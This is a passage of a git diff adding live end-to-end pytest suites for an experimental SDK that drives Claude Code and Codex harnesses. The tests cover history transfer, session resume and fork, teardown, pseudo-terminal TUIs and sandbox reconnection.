ai.harnesses.experimental import Harness +from ai.types.events import ToolEnd +from ai.types.messages import Message, ReasoningPart, TextPart, ToolCallPart +from ai.workspaces.experimental import Local, Workspace +from tests.harnesses.experimental.conftest import SPECS, exact + +pytestmark = pytest.mark.live + +OTHER = {"claude": "codex", "codex": "claude"} + + +async def _source_history( + kind: str, project: Path, prompt: str +) -> list[Message]: + """A real conversation on THIS machine, read back as messages. + + Codex may write here: in its default read-only mode it declines a write + without attempting one, and the history would carry no action at all. + """ + options: dict[str, Any] = ( + {"sandbox": "workspace-write"} if kind == "codex" else {} + ) + async with ( + Local(project) as ws, + SPECS[kind](workspace=ws, **options) as harness, + ): + session = harness.session() + await session.run(prompt) + return await harness.history(session.session_id) + + +async def test_a_conversation_continues_on_any_machine( + harness_kind: str, project: Path, any_harness: Harness +) -> None: + """Start locally, continue wherever `any_harness` lives — same harness. + + The destination has never seen the conversation; it arrives as history. + """ + history = await _source_history( + harness_kind, + project, + "Remember this codeword: PLATYPUS. Reply with exactly: OK", + ) + assert any("PLATYPUS" in _text(m) for m in history) + + session = any_harness.session(history=history) + result = await session.run( + "What codeword did I give you? Reply with the word only." + ) + + exact(result.text, "PLATYPUS") + # The session's own past IS the history, from message one. + assert [_text(m) for m in session.messages[: len(history)]] == [ + _text(m) for m in history + ] + + +async def test_run_takes_a_history_too( + harness_kind: str, project: Path, any_harness: Harness +) -> None: + """Sugar: one prompt, on top of an earlier conversation.""" + history = await _source_history( + harness_kind, + project, + "My favourite colour is VERMILION. Reply with exactly: NOTED", + ) + result = await any_harness.run( + "What is my favourite colour? Reply with the word only.", + history=history, + ) + exact(result.text, "VERMILION") + + +async def test_the_other_harness_picks_it_up( + harness_kind: str, project: Path, any_workspace: Workspace +) -> None: + """Claude -> Codex and Codex -> Claude, at both locations. + + The conversation is a list of messages; which harness wrote it does not + matter. + """ + history = await _source_history( + harness_kind, + project, + "My cat is called MARMALADE. Reply with exactly: NOTED", + ) + async with SPECS[OTHER[harness_kind]](workspace=any_workspace) as other: + result = await other.run( + "What is my cat called? Reply with the name only.", history=history + ) + exact(result.text, "MARMALADE") + + +async def test_actions_travel_and_the_receiver_uses_its_own_tools( + harness_kind: str, project: Path, any_workspace: Workspace +) -> None: + """The history carries a tool call the receiver does not have. + + It must know what happened AND act with its own tools — never call the + foreign one. Measured on both: Write became fileChange, fileChange became + Edit. + + Two turns on purpose: codex labels mid-turn narration `commentary`, which + the adapter keeps out of the settled message, so "recall then act" in one + turn leaves only the act in `result.messages[-1]`. Recall is a turn of + its own and read from `.text`. + + Paths in transferred actions are the SOURCE machine's — a `Write` to + /Users/.../recipe.txt says nothing about where the file is now. Across + machines the receiver is told, as any colleague would be. + """ + history = await _source_history( + harness_kind, + project, + "Create a file called recipe.txt containing exactly: two eggs. Then " + "reply: OK", + ) + foreign = { + p.tool_name + for m in history + for p in m.parts + if isinstance(p, ToolCallPart) + } + assert foreign, "the source must actually have used a tool" + await any_workspace.write_text("recipe.txt", "two eggs\n") + + # A mode for codex only on this machine; in a sandbox the default writes. + options: dict[str, Any] = ( + {"sandbox": "workspace-write"} + if OTHER[harness_kind] == "codex" and any_workspace.owner != "provider" + else {} + ) + async with SPECS[OTHER[harness_kind]]( + workspace=any_workspace, **options + ) as other: + session = other.session(history=history) + recalled = await session.run( + "Earlier in this conversation a file was created. Which file, and " + "what did " + "it contain? One line." + ) + turn = session.stream( + "That file now lives in the current working directory. Append the " + "line " + "'second line' to it, then reply with exactly: DONE" + ) + called = [ + e.tool_call.tool_name async for e in turn if isinstance(e, ToolEnd) + ] + + assert ( + "recipe.txt" in recalled.text and "two eggs" in recalled.text + ), recalled.text + assert called, "the receiver must have acted" + assert not ( + set(called) & foreign + ), f"called a tool it does not have: {called}" + assert "second line" in await any_workspace.read_text("recipe.txt") + + +async def test_reasoning_travels_where_the_destination_allows_it( + any_harness: Harness, +) -> None: + """The fact below exists NOWHERE but in a ReasoningPart. + + codex: arrives as a user-role handoff note and is used. Claude: cannot + arrive at all — Anthropic's safeguards flag real reasoning replayed as + user content ([reasoning_extraction]; measured with genuine Opus + thinking) — so it is omitted, and the SDK says so with a warning rather + than dropping context silently. + """ + import warnings + + history = [ + Message( + role="user", + parts=[ + TextPart( + text="Help me plan the config layout for this service." + ) + ], + ), + Message( + role="assistant", + parts=[ + ReasoningPart( + text="The deploy region must stay eu-west-3 for GDPR; " + "I should keep that in mind." + ), + TextPart( + text="Sure — I'll use a single config.toml with " + "per-environment sections." + ), + ], + ), + ] + ask = ( + "What deploy region did we settle on earlier, and why? " + "If it was never said, reply UNKNOWN." + ) + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + result = await any_harness.run(ask, history=history) + warned = [w for w in caught if "reasoning part" in str(w.message)] + + if any_harness.kind == "codex": + assert "eu-west-3" in result.text.lower(), result.text + assert not warned + else: + assert ( + "eu-west-3" not in result.text.lower() + ), "claude must not have received the reasoning" + assert warned, "omitting context silently is not allowed" + assert "1 reasoning part" in str(warned[0].message) + + +def _text(m: Message) -> str: + return "".join(p.text for p in m.parts if isinstance(p, TextPart)) diff --git a/tests/harnesses/experimental/e2e/test_history.py b/tests/harnesses/experimental/e2e/test_history.py new file mode 100644 index 00000000..666be348 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_history.py @@ -0,0 +1,182 @@ +"""Reading and taking over conversations — including ones we never created. + +The distinguishing capability: a harness's sessions are its own, and they +outlive us. A conversation someone started in their terminal is readable, +adoptable, and forkable from here, with the SAME message type as a session +we drove ourselves. +""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental import Allow, Harness +from ai.types.messages import Message, TextPart, ToolCallPart +from tests.harnesses.experimental.conftest import requires + +pytestmark = pytest.mark.live + + +async def test_sessions_are_listed_for_the_workspace(harness: Harness) -> None: + session = harness.session() + await session.run("Reply with exactly: LISTED") + + infos = await harness.sessions() + + assert any(i.session_id == session.session_id for i in infos) + found = next(i for i in infos if i.session_id == session.session_id) + assert found.updated_at is not None + + +async def test_history_returns_ai_sdk_messages(harness: Harness) -> None: + """One message type across the whole SDK. + + A replayed transcript and a live one are the same shape — v1's two read + paths drifted apart and this is the assertion that stops it happening again. + """ + session = harness.session() + await session.run("Remember this codeword: PLATYPUS. Reply OK.") + + history = await harness.history(session.session_id) + + assert history and all(isinstance(m, Message) for m in history) + assert any(m.role == "user" for m in history) + assert any(m.role == "assistant" for m in history) + assert "PLATYPUS" in " ".join( + p.text for m in history for p in m.parts if isinstance(p, TextPart) + ) + + +async def test_history_is_full_fidelity_not_a_summary( + make_harness: Callable[..., Any], +) -> None: + """Tool calls survive the round trip. + + Both harnesses can serve complete records — claude's stored messages keep + every content block, codex's itemsView='full' keeps every ThreadItem — so + nothing here settles for a display summary. + + The prompt names a shell command on purpose: asking a model to "read a + file" does not guarantee a tool call, and codex answered one such + question with no recorded tool item at all. + """ + + async def approve(ctx: Any) -> Allow: + return Allow() + + async with make_harness(approve=approve, writable=True) as harness: + session = harness.session() + # A write, not a read: codex answered "read README.md" with no + # recorded tool item at all, so a read proves nothing about replay. + await session.run( + "Write the word HELLO into greeting.txt, then reply DONE." + ) + history = await harness.history(session.session_id) + + calls = [p for m in history for p in m.parts if isinstance(p, ToolCallPart)] + assert ( + calls + ), "a replayed transcript must keep the tool calls, not just the prose" + assert calls[0].tool_name + assert any(m.role == "tool" for m in history), "tool results survive too" + + +async def test_history_paginates(harness: Harness) -> None: + session = harness.session() + await session.run("Reply with exactly: ONE") + await session.run("Reply with exactly: TWO") + + first = await harness.history(session.session_id, limit=1) + everything = await harness.history(session.session_id) + + assert len(first) == 1 + assert len(everything) > len(first) + + +async def test_adopt_takes_over_a_session_we_did_not_create( + harness: Harness, +) -> None: + """The headline: continue a conversation this process never started.""" + requires(harness, "resume") + stranger = harness.session() + await stranger.run("Remember this codeword: PLATYPUS. Reply OK.") + session_id = stranger.session_id + + resumed = await harness.resume(session_id) + + assert resumed.session_id == session_id + assert ( + resumed.messages + ), "a resumed session knows its past before you prompt it" + answer = await resumed.run( + "What codeword did I give you? Reply with the word only." + ) + assert "PLATYPUS" in answer.text.upper() + + +async def test_fork_branches_instead_of_colliding(harness: Harness) -> None: + """The safe way to pick up someone's live conversation: branch it, so two + writers never share one transcript.""" + requires(harness, "fork") + original = harness.session() + await original.run("Remember this codeword: PLATYPUS. Reply OK.") + + branch = await harness.fork(original.session_id) + + assert ( + branch.session_id != original.session_id + ), "a fork is a new conversation" + answer = await branch.run( + "What codeword did I give you? Reply with the word only." + ) + assert "PLATYPUS" in answer.text.upper(), "the fork inherits the past" + + # The original is untouched by anything the branch does. + still = await original.run("Reply with exactly: ORIGINAL") + assert "ORIGINAL" in still.text + + +async def test_history_of_an_unknown_session_raises(harness: Harness) -> None: + with pytest.raises(Exception, match=r"(?i)session"): + await harness.history("00000000-0000-0000-0000-000000000000") + + +async def test_history_pages_with_limit_and_offset( + any_harness: Harness, +) -> None: + """`offset=` had no test at all; `limit=` one. + + A page is a window onto the same ordered transcript, wherever the harness + keeps it. + """ + session = any_harness.session() + await session.run("Reply with exactly: ONE") + await session.run("Reply with exactly: TWO") + await session.run("Reply with exactly: THREE") + + everything = await any_harness.history(session.session_id) + assert ( + len(everything) >= 6 + ), "three user + three assistant messages at least" + first_two = await any_harness.history(session.session_id, limit=2) + next_two = await any_harness.history(session.session_id, limit=2, offset=2) + + # Compare by content, not id: `history()` reconstructs messages on every + # call and mints fresh ids each time (neither adapter derives them from + # the transcript — a real gap, tracked separately). The three prompts + # are distinct, so (role, text) identifies each message unambiguously. + def shape(ms: list[Message]) -> list[tuple[str, str]]: + return [ + ( + m.role, + "".join(p.text for p in m.parts if isinstance(p, TextPart)), + ) + for m in ms + ] + + assert shape(first_two) == shape(everything[:2]) + assert shape(next_two) == shape(everything[2:4]) + assert shape(first_two) != shape(next_two) diff --git a/tests/harnesses/experimental/e2e/test_lifecycle.py b/tests/harnesses/experimental/e2e/test_lifecycle.py new file mode 100644 index 00000000..407e88d8 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_lifecycle.py @@ -0,0 +1,113 @@ +"""Failure and teardown — the pages that get written last and bite first.""" + +from __future__ import annotations + +import os + +import pytest + +from ai.harnesses.experimental import claude_code +from ai.harnesses.experimental.errors import ( + ExecutableMissingError, + HarnessClosedError, +) +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import SPECS, requires_claude + +pytestmark = pytest.mark.live + + +async def test_open_is_explicit_and_idempotent( + harness_kind: str, workspace: Workspace +) -> None: + harness = SPECS[harness_kind](workspace=workspace) + + await harness.open() + await harness.open() # second open changes nothing + try: + assert harness.is_open + assert ( + harness.version + ), "opening probes the CLI, so its version is known" + finally: + await harness.close() + + +async def test_a_closed_harness_refuses_work( + harness_kind: str, workspace: Workspace +) -> None: + harness = SPECS[harness_kind](workspace=workspace) + await harness.open() + await harness.close() + + assert not harness.is_open + await harness.close() # closing twice is a no-op, not an error + with pytest.raises(HarnessClosedError): + await harness.run("Reply with exactly: READY") + + +async def test_closing_kills_the_process_tree( + harness_kind: str, workspace: Workspace +) -> None: + """Nothing outlives the orchestrator. + + `process_ids` is best effort — a harness library that hides its child + reports an empty list — so this asserts the guarantee where the pids are + observable and says so plainly where they are not. + """ + harness = SPECS[harness_kind](workspace=workspace) + await harness.open() + session = harness.session() + await session.run("Reply with exactly: OK") + pids = harness.process_ids + + await harness.close() + + if not pids: + pytest.skip(f"{harness.name} does not expose its process ids") + for pid in pids: + with pytest.raises(ProcessLookupError): + os.kill(pid, 0) + + +async def test_workspace_close_kills_what_it_spawned( + any_workspace: Workspace, +) -> None: + process = await any_workspace.spawn(["sleep", "300"]) + + await any_workspace.close() + + assert ( + await process.wait() is not None + ), "the workspace owns what it spawned" + + +@requires_claude +async def test_a_missing_executable_names_the_install_command( + workspace: Workspace, +) -> None: + harness = claude_code( + workspace=workspace, executable="claude-does-not-exist" + ) + + with pytest.raises(ExecutableMissingError) as exc: + await harness.open() + + assert "claude-does-not-exist" in str(exc.value) + assert "install" in str(exc.value).lower(), "tell the caller how to fix it" + + +async def test_open_failure_leaks_nothing( + harness_kind: str, workspace: Workspace +) -> None: + """A failed open must unwind everything it acquired — the caller's + `async with` never ran, so nothing else will clean up.""" + harness = SPECS[harness_kind]( + workspace=workspace, executable="nope-not-real" + ) + + with pytest.raises(ExecutableMissingError): + await harness.open() + + assert not harness.is_open + assert harness.process_ids == [] diff --git a/tests/harnesses/experimental/e2e/test_pty.py b/tests/harnesses/experimental/e2e/test_pty.py new file mode 100644 index 00000000..83f90f5e --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_pty.py @@ -0,0 +1,389 @@ +"""A program on a pseudo-terminal, identically at both locations. + +The shell checks use `sh -i` because a shell answers `stty size` with what the +program actually sees. The TUI checks use the real harness TUIs: the contract +is that they render — a terminal escape sequence appears — not what they say. +""" + +from __future__ import annotations + +import asyncio +import uuid + +import pytest + +from ai.harnesses.experimental import Harness, SessionInfo +from ai.workspaces.experimental import Workspace +from ai.workspaces.experimental._pty import Pty +from ai.workspaces.experimental.errors import WorkspaceError +from tests.harnesses.experimental.conftest import SPECS, requires_claude + +READY = {"claude-code": "\u276f".encode(), "codex": b"Ask Codex"} +"""What each TUI's composer shows once it accepts input: claude's input +caret (a footer string it used to print changed between two releases in +one day — markers must be structure, not wording), codex's composer hint. +Quiet-period detection is not enough: codex's splash animates without +pause, and claude pauses mid-startup — keystrokes typed before these +markers are lost.""" + + +async def _ready(pty: Pty, kind: str, timeout: float = 150) -> bytes: + """Read until the TUI shows its ready marker, then give it a beat.""" + seen = await _read_until(pty, READY[kind], timeout) + assert ( + READY[kind] in seen + ), f"the {kind} TUI never reached its prompt; saw {seen[-200:]!r}" + await asyncio.sleep(2) + return seen + + +async def _settle(pty: Pty, quiet: float = 2.0, timeout: float = 60) -> bytes: + """Read until the program has been silent for `quiet` seconds — a TUI + is ready for input when it has stopped drawing, whatever it draws.""" + seen = b"" + deadline = asyncio.get_running_loop().time() + timeout + while asyncio.get_running_loop().time() < deadline: + try: + async with asyncio.timeout(quiet): + chunk = await pty.receive() + except TimeoutError: + if seen: + return seen + continue + if not chunk: + break + seen += chunk + return seen + + +async def _read_until(pty: Pty, needle: bytes, timeout: float = 10) -> bytes: + seen = b"" + async with asyncio.timeout(timeout): + while needle not in seen: + chunk = await pty.receive() + if not chunk: + break + seen += chunk + return seen + + +async def test_a_pty_is_a_terminal_to_the_program( + any_workspace: Workspace, +) -> None: + pty = await any_workspace.pty(["sh", "-i"], size=(80, 24)) + try: + await pty.send(b"echo marker-$((6*7))\n") + out = await _read_until(pty, b"marker-42") + assert b"marker-42" in out + await pty.resize(120, 50) + await asyncio.sleep(0.3) + await pty.send(b"stty size\n") + out = await _read_until(pty, b"50 120") + assert b"50 120" in out, "the program must see the new size" + finally: + await pty.close() + await pty.wait() # settles; must not hang + + +async def test_an_unnamed_pty_ends_with_the_connection( + any_workspace: Workspace, +) -> None: + pty = await any_workspace.pty(["sh", "-i"]) + await pty.send(b"echo up\n") + await _read_until(pty, b"up") + await pty.detach() + # Nothing to attach to: the program went with the connection. + assert pty.name is None + + +async def test_a_named_pty_survives_detach_and_replays_on_attach( + any_workspace: Workspace, +) -> None: + name = f"t-{uuid.uuid4().hex[:8]}" + pty = await any_workspace.pty(["sh", "-i"], name=name) + await pty.send(b"echo before-detach\n") + await _read_until(pty, b"before-detach") + await pty.detach() + assert name in [ + p.name for p in await any_workspace.ptys() + ], "a named pty is listed while it runs" + + again = await any_workspace.attach(name) + try: + replay = await _read_until(again, b"before-detach", timeout=15) + assert ( + b"before-detach" in replay + ), "attach must replay what happened while detached" + await again.send(b"echo after-attach\n") + assert b"after-attach" in await _read_until(again, b"after-attach") + finally: + await again.close() + await asyncio.sleep(0.5) + assert name not in [ + p.name for p in await any_workspace.ptys() + ], "close() ends it, and the listing says so" + with pytest.raises(WorkspaceError): + await any_workspace.attach(name) + + +async def test_listing_ptys_never_takes_one_from_its_client( + any_workspace: Workspace, +) -> None: + """A pty serves one client and a new connection displaces it, so the + listing must learn liveness and attachment without connecting. It says + whether a client is on each pty, and asking leaves that client attached.""" + name = f"listing-{uuid.uuid4().hex[:8]}" + p = await any_workspace.pty(["sh", "-i"], name=name) + try: + listed = {i.name: i for i in await any_workspace.ptys()} + assert ( + name in listed and listed[name].attached + ), "a pty with a client on it is listed as attached" + assert listed[name].pid == p.pid + for _ in range(3): + await any_workspace.ptys() + await p.send(b"echo after-listing-$((6*7))\n") + seen = b"" + async with asyncio.timeout(20): + while b"after-listing-42" not in seen: + chunk = await p.receive() + assert chunk, "listing displaced the attached client" + seen += chunk + await p.detach() + async with asyncio.timeout(10): + while True: + listed = {i.name: i for i in await any_workspace.ptys()} + if name in listed and not listed[name].attached: + break + await asyncio.sleep(0.2) + finally: + again = await any_workspace.attach(name) + await again.close() + + +async def test_a_program_that_ends_before_anyone_attaches_still_reports( + any_workspace: Workspace, +) -> None: + """The holder opens its socket before the program starts and, if the + program ends before a client has connected, waits briefly for one: a + short program's output and status reach whoever started it.""" + p = await any_workspace.pty(["sh", "-c", "echo over-before-attach; exit 7"]) + seen = b"" + while True: + chunk = await p.receive() + if not chunk: + break + seen += chunk + status = await p.wait() + assert ( + b"over-before-attach" in seen + ), f"the output was lost; the terminal saw {seen!r}, status {status!r}" + assert ( + status == 7 + ), f"the exit status was lost: {status!r}; the terminal saw {seen!r}" + + +@pytest.mark.live +async def test_the_harness_tui_renders(any_harness: Harness) -> None: + tui = await any_harness.tui(size=(120, 40)) + pty = tui.pty + try: + seen = b"" + async with asyncio.timeout(60): + while b"\x1b[" not in seen: + chunk = await pty.receive() + if not chunk: + break + seen += chunk + assert ( + b"\x1b[" in seen + ), f"the TUI never drew a screen; got {seen[:200]!r}" + finally: + await tui.close() + + +@pytest.mark.live +@pytest.mark.slow +@pytest.mark.sandbox +@requires_claude +async def test_a_claude_tui_session_is_discoverable_and_locked( + remote_workspace: Workspace, +) -> None: + """A TUI conversation is a conversation. + + Claude runs under the id we minted, so from launch it holds the session + lock; after its first turn it appears in sessions() marked running, and a + second client is refused — the same single-writer rule as any other way of + driving it. (Codex mints its own id, so a new codex TUI is discoverable but + not pre-locked; that is a separate follow-up.) Sandbox only: completing + first-run setup is the SDK's job on a machine it owns, never on a user's + own. + """ + any_workspace = remote_workspace + from ai.harnesses.experimental import claude_code + from ai.harnesses.experimental.errors import SessionBusyError + + agent = claude_code(workspace=any_workspace) + await agent.open() + tui = await agent.tui(size=(120, 40)) + pty = tui.pty + assert ( + tui.session_id is not None and tui.handle is not None + ), "claude chose the id: known at launch" + try: + # Type only once the TUI shows its prompt: keystrokes sent while it is + # still starting up are lost (measured — and the reason an eager + # version of this test timed out). + await _ready(pty, "claude-code") + await pty.send(b"Reply with exactly OK\r") + + running: list[SessionInfo] = [] + async with asyncio.timeout(150): + while not running: + await asyncio.sleep(3) + running = [i for i in await agent.sessions() if i.running] + other = claude_code(workspace=any_workspace) + await other.open() + try: + with pytest.raises(SessionBusyError): + await other.resume(running[0].session_id) + finally: + await other.close() + finally: + await tui.close() + await agent.close() + + +@pytest.mark.live +@pytest.mark.slow +@pytest.mark.sandbox +async def test_codex_resume_in_the_tui_shows_the_conversation_and_is_handed_over( # noqa: E501 + remote_workspace: Workspace, +) -> None: + """`codex resume ` in codex's own TUI, measured end to end at the + level that is deterministic: the resumed TUI renders the conversation's + history, and because this client held the thread headless, `tui()` hands + it over first — codex enforces one writer across processes and would + otherwise block the TUI with "this conversation is open in another app". + + Typing into codex's TUI is deliberately NOT automated here: in a pty + without a real terminal negotiating with it, codex echoes neither plain + nor kitty-encoded keys (measured), and only a human at `tty.bridge` + settles that. A human check is one command: + `python examples/harnesses/tui.py codex`. + """ + import re + + from ai.harnesses.experimental import codex + + ansi = re.compile( + rb"\x1b\[[0-9;?<>=]*[ " + rb"-/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\\\)|\x1b[=>78]|\x1b\([B0]" + ) + agent = codex(workspace=remote_workspace) + await agent.open() + session = agent.session() + await session.run("Remember the codeword KUMQUAT. Reply with exactly: OK") + sid = session.session_id + + tui = await agent.tui(sid, size=(120, 40)) + assert tui.session_id == sid and tui.handle is not None + try: + screen = await _read_until(tui.pty, b"Ask Codex", timeout=150) + shown = ansi.sub(b"", screen) + assert b"Ask Codex" in shown, "the resumed TUI never reached its prompt" + assert ( + b"KUMQUAT" in shown + ), "the resumed TUI must render the conversation it resumed" + assert ( + b"open in another app" not in shown + ), "hand-over must release codex's cross-process hold" + assert ( + getattr(agent.adapter, "_peer", None) is None + ), "hand-over stops this client's app-server" + finally: + await tui.close() + # The headless side relaunches lazily and still lists the conversation. + assert sid in {i.session_id for i in await agent.sessions()} + await agent.close() + + +@pytest.mark.live +async def test_tui_refuses_both_a_session_and_a_history( + any_harness: Harness, +) -> None: + with pytest.raises(ValueError, match="not both"): + await any_harness.tui("some-id", history=[]) + + +@pytest.mark.live +@pytest.mark.slow +async def test_the_tui_starts_from_a_history( + harness_kind: str, any_workspace: Workspace +) -> None: + """`tui(history=...)` means what `session(history=...)` means: a new + conversation that begins with this past — the way a conversation is + pushed into a sandbox TUI, or brought home into a local one. Nothing + headless is started to stage it, and the TUI is its only writer. + + Observation only, no typing. At BOTH locations: the TUI is up on the + staged conversation, which claude lists and holds (codex does not list + a thread until its first turn — measured), and a second client is + refused. Reaching the prompt and redrawing the past are asserted only + where the SDK owns first-run setup (a provider-owned workspace): on a + user's own machine a fresh directory opens on claude's trust dialog, + which is the human's to answer, never the SDK's. + """ + from ai.harnesses.experimental.errors import ( + ResumeFailedError, + SessionBusyError, + ) + + agent = SPECS[harness_kind](workspace=any_workspace) + await agent.open() + source = agent.session() + await source.run("Remember the codeword PAPAYA. Reply with exactly: OK") + history = await agent.history(source.session_id) + await source.close() + + tui = await agent.tui(history=history, size=(120, 40)) + assert ( + tui.session_id is not None + ), "a conversation with a past has an id at launch, on both harnesses" + assert tui.handle is not None and tui.handle.session_id == tui.session_id + assert ( + tui.session_id != source.session_id + ), "a NEW conversation, not the source" + try: + if any_workspace.owner == "provider": + screen = await _read_until(tui.pty, READY[agent.kind], timeout=150) + assert ( + READY[agent.kind] in screen + ), "the TUI must reach its prompt on the staged conversation" + if agent.kind == "claude-code": + assert ( + b"PAPAYA" in screen + ), "claude redraws the resumed transcript" + else: + drawn = await _read_until(tui.pty, b"\x1b[", timeout=60) + assert ( + b"\x1b[" in drawn + ), "the TUI must come up on the staged conversation" + if agent.kind == "claude-code": + running = { + i.session_id for i in await agent.sessions() if i.running + } + assert ( + tui.session_id in running + ), "the staged conversation is listed and held by the TUI" + # One writer, on both harnesses: a second client cannot take it over. + other = SPECS[harness_kind](workspace=any_workspace) + await other.open() + try: + with pytest.raises((SessionBusyError, ResumeFailedError)): + await other.resume(tui.session_id) + finally: + await other.close() + finally: + await tui.close() + await agent.close() diff --git a/tests/harnesses/experimental/e2e/test_reconnect.py b/tests/harnesses/experimental/e2e/test_reconnect.py new file mode 100644 index 00000000..150abff9 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_reconnect.py @@ -0,0 +1,256 @@ +"""Detach and reconnect: the "close the laptop, come back" contract. + +All sandbox-only, because it is the whole point — a sandbox outlives the +client, a Local child does not. Each test leaves a VM running with keep=True, +drops the client, and reconnects by name from a fresh workspace. +""" + +from __future__ import annotations + +import asyncio +from typing import Any + +import pytest + +from ai.harnesses.experimental import ApprovalContext, Handle, harness_from +from ai.harnesses.experimental.errors import SessionBusyError +from ai.workspaces.experimental import VercelSandbox, Workspace +from ai.workspaces.experimental._gateway import vercel_ai_gateway +from tests.harnesses.experimental.conftest import SPECS, exact +from tests.workspaces.experimental.conftest import ( + SandboxCredentials, + sandbox_credentials, +) + +pytestmark = [ + pytest.mark.live, + pytest.mark.sandbox, + pytest.mark.slow, + pytest.mark.timeout(900), +] + + +def _creds_or_skip() -> SandboxCredentials: + creds = sandbox_credentials() + if creds is None: + pytest.skip("needs Vercel Sandbox credentials") + return creds + + +async def test_keep_leaves_the_vm_running_and_reconnect_finds_the_work( + harness_kind: str, +) -> None: + creds, gw = _creds_or_skip(), vercel_ai_gateway() + async with VercelSandbox( + **creds, keep=True, execution_time_limit=900 + ) as ws: + name = ws.name + await ws.write_text("marker.txt", "left behind\n") + async with SPECS[harness_kind](workspace=ws, gateway=gw) as agent: + s = agent.session() + await s.run("Remember the codeword NARWHAL. Reply with exactly: OK") + sid = s.session_id + assert name + + # A fresh client: the VM is still up, its files and conversation intact. + async with VercelSandbox(name=name) as back: + assert (await back.read_text("marker.txt")).strip() == "left behind" + async with SPECS[harness_kind](workspace=back, gateway=gw) as agent: + assert sid in {i.session_id for i in await agent.sessions()} + result = await (await agent.resume(sid)).run( + "What codeword? Reply with the word only." + ) + exact(result.text, "NARWHAL") + async with VercelSandbox(name=name, keep=False): + pass # stop it + + +async def test_resume_handle_reattaches_a_live_sandbox( + harness_kind: str, +) -> None: + creds, gw = _creds_or_skip(), vercel_ai_gateway() + async with VercelSandbox( + **creds, keep=True, execution_time_limit=900 + ) as ws: + name = ws.name + async with SPECS[harness_kind](workspace=ws, gateway=gw) as agent: + s = agent.session() + await s.run( + "Remember the codeword PLATYPUS. Reply with exactly: OK" + ) + saved = s.handle.model_dump_json() + async with harness_from( + Handle.model_validate_json(saved), gateway=gw + ) as session: + result = await session.run("What codeword? Reply with the word only.") + exact(result.text, "PLATYPUS") + async with VercelSandbox(name=name, keep=False): + pass + + +async def test_reconnect_to_a_stopped_sandbox_is_refused_with_a_reason() -> ( + None +): + creds = _creds_or_skip() + async with VercelSandbox( + **creds, execution_time_limit=300 + ) as ws: # keep defaults False → stopped on close + name = ws.name + with pytest.raises(Exception) as caught: + async with VercelSandbox(name=name): + pass + assert ( + "stopped" in str(caught.value).lower() + or "not running" in str(caught.value).lower() + ) + + +async def test_two_harnesses_in_one_vm_each_list_their_own_sessions( + harness_kind: str, +) -> None: + """Two agents in one VM. + + There is no workspace-level registry: a fresh client instantiates EACH + harness inside the workspace and asks it for its sessions. The app remembers + which id is which; the harness lists; the app matches — that is the whole + discovery model. + """ + creds, gw = _creds_or_skip(), vercel_ai_gateway() + other = "codex" if harness_kind == "claude" else "claude" + remembered: dict[str, str] = {} # the CONSUMER's state: kind -> session id + async with VercelSandbox( + **creds, keep=True, execution_time_limit=900 + ) as ws: + name = ws.name + for kind, word in ((harness_kind, "ALPHA"), (other, "BETA")): + agent = SPECS[kind](workspace=ws, gateway=gw) + await agent.open() + session = agent.session() + await session.run( + f"Remember the codeword {word}. Reply with exactly: OK" + ) + remembered[kind] = session.session_id + await agent.detach() + + async with VercelSandbox(name=name) as back: + for kind, sid in remembered.items(): + agent = SPECS[kind](workspace=back, gateway=gw) + await agent.open() + listed = await agent.sessions() + assert sid in { + i.session_id for i in listed + }, f"{kind} must list its own session" + assert all( + i.kind == agent.kind for i in listed + ), "a harness lists only ITS sessions" + # The detached harness is still ALIVE and holds this conversation. + # One writer per conversation, on BOTH harnesses: resume is + # refused with the same error, and fork is how a fresh client + # continues — same history, a conversation of its own. + with pytest.raises(SessionBusyError): + await agent.resume(sid) + picked = await agent.fork(sid) + result = await picked.run( + "What is the codeword? Reply with the single word only." + ) + exact(result.text, "ALPHA" if kind == harness_kind else "BETA") + await agent.detach() + async with VercelSandbox(name=name, keep=False): + pass + + +async def test_a_hooked_harness_survives_and_blocks(harness_kind: str) -> None: + """Survival and the gate are INDEPENDENT. + + A harness whose hook has parked the turn is alive in the kept VM and has NOT + acted — observed from a second client reconnecting by name. Liveness is + checked with the workspace's own primitives, which is all a consumer would + have too. + """ + import contextlib + + creds, gw = _creds_or_skip(), vercel_ai_gateway() + reached = asyncio.Event() + binary = {"claude": "claude", "codex": "codex"}[harness_kind] + + async def approve(ctx: ApprovalContext) -> None: + reached.set() + await asyncio.sleep(3600) # park the turn at the gate + return None + + async with VercelSandbox( + **creds, keep=True, execution_time_limit=900 + ) as ws: + name = ws.name + # No sandbox= for codex: in a VM only the default can run commands, + # and with a hook codex still asks before writing (policy untrusted). + options: dict[str, Any] = {"approve": approve, "gateway": gw} + agent = SPECS[harness_kind](workspace=ws, **options) + await agent.open() + turn = agent.session().stream( + "Write the word HELLO into hello.txt, then reply DONE." + ) + + async def drive() -> None: + async for _ in turn: + pass + + task = asyncio.create_task(drive()) + try: + await asyncio.wait_for(reached.wait(), 90) # the gate was hit + async with VercelSandbox(name=name) as back: + alive = await back.exec(["pgrep", "-f", binary]) + assert ( + alive.exit_code == 0 + ), "the hooked harness must still be running" + assert not await back.exists( + "hello.txt" + ), "a pending approval must block the write" + finally: + task.cancel() + with contextlib.suppress(BaseException): + await task + async with VercelSandbox(name=name, keep=False): + pass + + +async def test_close_ends_the_harness_and_detach_keeps_it( + harness_kind: str, +) -> None: + """The distinction users rely on, made deterministic. + + close() ends the process — graceful EOF first, a bounded kill if it must — + and leaves no FIFO or pid file behind. detach() leaves it running. + """ + creds, gw = _creds_or_skip(), vercel_ai_gateway() + binary = {"claude": "claude", "codex": "codex"}[harness_kind] + + async def alive(ws: Workspace) -> bool: + return (await ws.exec(["pgrep", "-f", binary])).exit_code == 0 + + async with VercelSandbox( + **creds, keep=True, execution_time_limit=900 + ) as ws: + name = ws.name + agent = SPECS[harness_kind](workspace=ws, gateway=gw) + await agent.open() + await agent.session().run("Reply with exactly: OK") + await agent.close() + assert not await alive( + ws + ), "close() must end the harness before it returns" + leftover = ( + await ws.exec(["sh", "-c", "ls /tmp/harness-* 2>/dev/null | wc -l"]) + ).stdout.strip() + assert ( + leftover == "0" + ), f"close() left {leftover} FIFO/pid file(s) behind" + + agent = 